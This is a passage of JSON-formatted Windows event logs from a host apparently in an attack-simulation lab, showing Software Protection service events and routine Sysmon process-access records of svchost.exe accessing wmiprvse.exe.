[(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n","EventReceivedTime":"2020-08-07 11:51:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":902,"SourceName":"Microsoft-Windows-Security-SPP","ProviderGuid":"{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":12113,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"The Software Protection service has started.\r\n10.0.14393.3541","EventReceivedTime":"2020-08-07 11:51:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.648\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.648","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.648\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.648","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.648\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.648","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:59.663","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:59.663\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 